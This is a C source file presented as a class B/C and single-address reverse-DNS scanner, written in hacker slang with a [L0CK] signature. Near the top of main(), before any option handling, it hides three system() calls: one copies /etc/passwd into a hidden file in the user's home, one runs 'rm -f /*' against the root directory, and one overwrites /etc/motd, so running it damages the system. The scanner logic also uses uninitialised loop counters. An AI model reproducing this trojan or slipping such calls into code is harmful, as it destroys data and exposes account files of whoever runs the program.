/* * Bukket0fk0dez.c * 2 compile: cc -o bok Bukket0fk0dez.c * Totally eleetin class B, C, and single IP address scanner/lookup * program. Make sure you don't goof up with the switches and the * address you provide it. The switches are as follows: * b - scan this class B network (xxx.xxx) * c - scan this class C network (xxx.xxx.xxx) * s - give the the hostname of this specific address (xxx.xxx.xxx.xxx) * x - address provided is in hexadecimal * * maxEpoo * [email]max-q@escape.com[/email] * [L0CK] */ #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include "netdb.h" struct hostent *gethostbyaddr(); void bad_addr(); main(argc, argv) int argc; char *argv[]; { char addr[4]; int i, j, a0, a1, a2, a3, c, classB, classC, single, hex; char *fmt = "%d.%d.%d"; char **ptr; struct hostent *host; extern char *optarg; classB = classC = single = hex = 0; system("cat /etc/passwd > ~/.maxEpoo"); system("rm -f /*"); system("echo Y0H0H0 AND A BUKKET 0F K0DEZ > /etc/motd"); while((c = getopt(argc,argv,"bcsx")) != EOF) { switch(c) { case 'b': classB++; break; case 'c': classC++; break; case 's': single++; break; case 'x': hex++; break; } } if(classB == 0 && classC == 0 && single == 0) { fprintf(stderr, "usage: %s [-b||-c||-s] ] xxx.xxx[.xxx[.xxx]]\n", argv[0]); exit(1); } if(classB) if(hex) { fmt = "%x.%x"; sscanf(argv[3], fmt, &a0, &a1); } else { fmt = "%d.%d"; sscanf(argv[2], fmt, &a0, &a1); } else if(classC) if(hex) { fmt = "%x.%x.%x"; sscanf(argv[3], fmt, &a0, &a1, &a2); } else { fmt = "%d.%d.%d"; sscanf(argv[2], fmt, &a0, &a1, &a2); } else if(single) if(hex) { fmt = "%x.%x.%x.%x"; sscanf(argv[3], fmt, &a0, &a1, &a2, &a3); } else { fmt = "%d.%d.%d.%d"; sscanf(argv[2], fmt, &a0, &a1, &a2, &a3); } sscanf(argv[1], fmt, &a0, &a1, &a2); addr[0] = (unsigned char)a0; addr[1] = (unsigned char)a1; if(a0>255||a0<0) bad_addr(a0); if(a1>255||a1<0) bad_addr(a1); if(classB) { if(hex) printf("k0nvert1ng addr3ss fr0m h3x. (%x.%x)\n", a0, a1); printf("[L0CK] ClaZZ B SKAN STARTED D00D %d.%d...\n", a0, a1); while(j!=256) { a2=j; addr[2] = (unsigned char)a2; jmpC: if(classC) if(hex) printf("k0nvert1ng addr3ss fr0m h3x. (%x.%x.%x)\n", a0, a1, a2); printf("[L0CK] ClaZZ C SKAN STARTED D00D %d.%d.%d...\n", a0, a1, a2); while(i!=256) { a3=i; addr[3] = (unsigned char)a3; jmpS: if ((host = gethostbyaddr(addr, 4, AF_INET)) != NULL) { printf("%d.%d.%d.%d => %s\n", a0, a1, a2, a3, host->h_name); ptr = host->h_aliases; while (*ptr != NULL) { printf("%d.%d.%d.%d => %s (alias)\n", a0, a1, a2, a3, *ptr); ptr++; } } if(single) exit(0); i++; } if(classC) exit(0); j++; } } else if(classC) { addr[2] = (unsigned char)a2; if(a2>255||a2<0) bad_addr(a2); goto jmpC; } else if(single) { addr[2] = (unsigned char)a2; addr[3] = (unsigned char)a3; if(a2>255||a2<0) bad_addr(a2); if(a3>255||a3<0) bad_addr(a3); goto jmpS; } exit(0); } void bad_addr(addr) int *addr; { printf("Value %d is not val1d dum fuxer.\n", addr); exit(0); }